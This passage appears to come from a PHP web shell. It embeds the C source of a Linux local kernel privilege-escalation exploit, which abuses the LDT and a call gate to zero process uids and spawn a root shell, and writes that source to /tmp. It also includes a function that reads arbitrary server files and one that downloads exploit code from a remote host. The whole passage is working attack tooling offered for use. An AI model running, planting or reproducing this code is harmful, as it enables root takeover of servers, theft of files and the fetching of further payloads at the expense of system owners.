" fprintf(stderr, \"[-] Unable to exit, entering neverending loop.\\n\");\n" .
" kill(getpid(), SIGSTOP);\n" .
" for (;;) pause();\n" .
" }\n" .
" exit(EXIT_FAILURE);\n" .
"}\n" .
"void configure(void)\n" .
"{\n" .
" unsigned val;\n" .
" task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB;\n" .
" uid = getuid();\n" .
"}\n" .
"void expand(void)\n" .
"{\n" .
" unsigned top = (unsigned) sbrk(0);\n" .
" unsigned limit = address + PAGE_SIZE;\n" .
" do {\n" .
" if (sbrk(PAGE_SIZE) == NULL)\n" .
" fatal(\"Kernel seems not to be vulnerable\");\n" .
" dontexit = 1;\n" .
" top += PAGE_SIZE;\n" .
" } while (top < limit);\n" .
"}\n" .
"jmp_buf jmp;\n" .
"#define MAP_NOPAGE 1\n" .
"#define MAP_ISPAGE 2\n" .
"void sigsegv(int signo, siginfo_t * si, void * ptr)\n" .
"{\n" .
" struct ucontext * uc = (struct ucontext *) ptr;\n" .
" int error_code = uc->uc_mcontext.gregs[REG_ERR];\n" .
" (void)signo;\n" .
" (void)si;\n" .
" error_code = MAP_NOPAGE + (error_code & 1);\n" .
" longjmp(jmp, error_code);\n" .
"}\n" .
"void prepare(void)\n" .
"{\n" .
" struct sigaction sa;\n" .
" sa.sa_sigaction = sigsegv;\n" .
" sa.sa_flags = SA_SIGINFO | SA_NOMASK;\n" .
" sigemptyset(&sa.sa_mask);\n" .
" sigaction(SIGSEGV, &sa, NULL);\n" .
"}\n" .
"int testaddr(unsigned addr)\n" .
"{\n" .
" int val;\n" .
" val = setjmp(jmp);\n" .
" if (val == 0) {\n" .
" asm (\"verr (%%eax)\" : : \"a\" (addr));\n" .
" return MAP_ISPAGE;\n" .
" }\n" .
" return val;\n" .
"}\n" .
"#define map_pages (((TOP_ADDR - task_size) + PAGE_SIZE - 1) / PAGE_SIZE)\n" .
"#define map_size (map_pages + 8*sizeof(unsigned) - 1) / (8*sizeof(unsigned))\n" .
"#define next(u, b) do { if ((b = 2*b) == 0) { b = 1; u++; } } while(0)\n" .
"void map(unsigned * map)\n" .
"{\n" .
" unsigned addr = task_size;\n" .
" unsigned bit = 1;\n" .
" prepare();\n" .
" while (addr < TOP_ADDR) {\n" .
" if (testaddr(addr) == MAP_ISPAGE)\n" .
" *map |= bit;\n" .
" addr += PAGE_SIZE;\n" .
" next(map, bit);\n" .
" }\n" .
" signal(SIGSEGV, SIG_DFL);\n" .
"}\n" .
"void find(unsigned * m)\n" .
"{\n" .
" unsigned addr = task_size;\n" .
" unsigned bit = 1;\n" .
" unsigned count;\n" .
" unsigned tmp;\n" .
" prepare();\n" .
" tmp = address = count = 0U;\n" .
" while (addr < TOP_ADDR) {\n" .
" int val = testaddr(addr);\n" .
" if (val == MAP_ISPAGE && (*m & bit) == 0) {\n" .
" if (!tmp) tmp = addr;\n" .
" count++;\n" .
" } else {\n" .
" if (tmp && count == LDT_PAGES) {\n" .
" errno = EAGAIN;\n" .
" if (address)\n" .
" fatal(\"double allocation\\n\");\n" .
" address = tmp;\n" .
" }\n" .
" tmp = count = 0U;\n" .
" }\n" .
" addr += PAGE_SIZE;\n" .
" next(m, bit);\n" .
" }\n" .
" signal(SIGSEGV, SIG_DFL);\n" .
" if (address)\n" .
" return;\n" .
" errno = ENOTSUP;\n" .
" fatal(\"Unable to determine kernel address\");\n" .
"}\n" .
"int modify_ldt(int, void *, unsigned);\n" .
"void ldt(unsigned * m)\n" .
"{\n" .
" struct modify_ldt_ldt_s l;\n" .
" map(m);\n" .
" memset(&l, 0, sizeof(l));\n" .
" l.entry_number = LDT_ENTRIES - 1;\n" .
" l.seg_32bit = 1;\n" .
" l.base_addr = MAGIC >> 16;\n" .
" l.limit = MAGIC & 0xffff;\n" .
" if (modify_ldt(1, &l, sizeof(l)) == -1)\n" .
" fatal(\"Unable to set up LDT\");\n" .
" l.entry_number = ENTRY_MAGIC / 2;\n" .
" if (modify_ldt(1, &l, sizeof(l)) == -1)\n" .
" fatal(\"Unable to set up LDT\");\n" .
" find(m);\n" .
"}\n" .
"asmlinkage void kernel(unsigned * task)\n" .
"{\n" .
" unsigned * addr = task;\n" .
" /* looking for uids */\n" .
" while (addr[0] != uid || addr[1] != uid ||\n" .
" addr[2] != uid || addr[3] != uid)\n" .
" addr++;\n" .
" addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */\n" .
" addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */\n" .
" addr[8] = 0;\n" .
" /* looking for vma */\n" .
" for (addr = (unsigned *) task_size; addr; addr++) {\n" .
" if (addr[0] >= task_size && addr[1] < task_size &&\n" .
" addr[2] == address && addr[3] >= task_size) {\n" .
" addr[2] = task_size - PAGE_SIZE;\n" .
" addr = (unsigned *) addr[3];\n" .
" addr[1] = task_size - PAGE_SIZE;\n" .
" addr[2] = task_size;\n" .
" break;\n" .
" }\n" .
" }\n" .
"}\n" .
"void kcode(void);\n" .
"#define __str(s) #s\n" .
"#define str(s) __str(s)\n" .
"void __kcode(void)\n" .
"{\n" .
" asm(\n" .
" \"kcode: \\n\"\n" .
" \" pusha \\n\"\n" .
" \" pushl %es \\n\"\n" .
" \" pushl %ds \\n\"\n" .
" \" movl $(\" str(DS) \") ,%edx \\n\"\n" .
" \" movl %edx,%es \\n\"\n" .
" \" movl %edx,%ds \\n\"\n" .
" \" movl $0xffffe000,%eax \\n\"\n" .
" \" andl %esp,%eax \\n\"\n" .
" \" pushl %eax \\n\"\n" .
" \" call kernel \\n\"\n" .
" \" addl $4, %esp \\n\"\n" .
" \" popl %ds \\n\"\n" .
" \" popl %es \\n\"\n" .
" \" popa \\n\"\n" .
" \" lret \\n\"\n" .
" );\n" .
"}\n" .
"void knockout(void)\n" .
"{\n" .
" unsigned * addr = (unsigned *) address;\n" .
" if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1)\n" .
" fatal(\"Unable to change page protection\");\n" .
" errno = ESRCH;\n" .
" if (addr[ENTRY_MAGIC] != MAGIC)\n" .
" fatal(\"Invalid LDT entry\");\n" .
" /* setting call gate and privileged descriptors */\n" .
" addr[ENTRY_GATE+0] = ((unsigned)CS << 16) | ((unsigned)kcode & 0xffffU);\n" .
" addr[ENTRY_GATE+1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;\n" .
" addr[ENTRY_CS+0] = 0x0000ffffU; /* kernel 4GB code at 0x00000000 */\n" .
" addr[ENTRY_CS+1] = 0x00cf9a00U;\n" .
" addr[ENTRY_DS+0] = 0x0000ffffU; /* user 4GB code at 0x00000000 */\n" .
" addr[ENTRY_DS+1] = 0x00cf9200U;\n" .
" prepare();\n" .
" if (setjmp(jmp) != 0) {\n" .
" errno = ENOEXEC;\n" .
" fatal(\"Unable to jump to call gate\");\n" .
" }\n" .
" asm(\"lcall $\" str(GATE) \",$0x0\"); /* this is it */\n" .
"}\n" .
"void shell(void)\n" .
"{\n" .
" char * argv[] = { _PATH_BSHELL, NULL };\n" .
" execve(_PATH_BSHELL, argv, environ);\n" .
" fatal(\"Unable to spawn shell\\n\");\n" .
"}\n" .
"void remap(void)\n" .
"{\n" .
" static char stack[8 MB]; /* new stack */\n" .
" static char * envp[] = { \"PATH=\" _PATH_STDPATH, NULL };\n" .
" static unsigned * m;\n" .
" static unsigned b;\n" .
" m = (unsigned *) sbrk(map_size);\n" .
" if (!m)\n" .
" fatal(\"Unable to allocate memory\");\n" .
" environ = envp;\n" .
" asm (\"movl %0, %%esp\\n\" : : \"a\" (stack + sizeof(stack)));\n" .
" b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK;\n" .
" if (munmap((void*)b, task_size - b) == -1)\n" .
" fatal(\"Unable to unmap stack\");\n" .
" while (b < task_size) {\n" .
" if (sbrk(PAGE_SIZE) == NULL)\n" .
" fatal(\"Unable to expand BSS\");\n" .
" b += PAGE_SIZE;\n" .
" }\n" .
" ldt(m);\n" .
" expand();\n" .
" knockout();\n" .
" shell();\n" .
"}\n" .
"int main(void)\n" .
"{\n" .
" configure();\n" .
" remap();\n" .
" return EXIT_FAILURE;\n" .
"}\n";
$fp = fopen("/tmp/xpl_brk.c", "w");
$ok = fwrite($fp, $kernel);
if (!empty($ok)) {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Linux Local Kernel Exploit Was Successfuly Copied</DIV>";
} else {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-] An Error Has Ocurred While Copying Kernel Exploit</DIV>";
}
}
?>
</CENTER>
<pre><font face="Tahoma" size="2">
<?php
// Function to Visualize Source Code files
if ($see != "") {
$fp = fopen($see, "r");
$read = fread($fp, 30000);
echo "============== $see ================<br>";
echo "<textarea name=textarea cols=80 rows=15>";
echo "$read";
Echo "</textarea>";
}
// Function to Dowload Local Xploite Binary COde or Source Code
if ($dx != "") {
$fp = @fopen("$hostxpl",r);
$fp2 = @fopen("$storage","w");
fwrite($fp2, "");
$fp1 = @fopen("$storage","a+");
for (;;) {
$read = @fread($fp, 4096);
if (empty($read)) break;
$ok = fwrite($fp1, $read);
if (empty($ok)) {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[-] An Error Has Ocurred While Uploading File</DIV>";
break;
}
}
if (!empty($ok)) {
echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] File Was Successfuly Uploaded</DIV>";
}
}
flush( );
// Function to visulize Format Col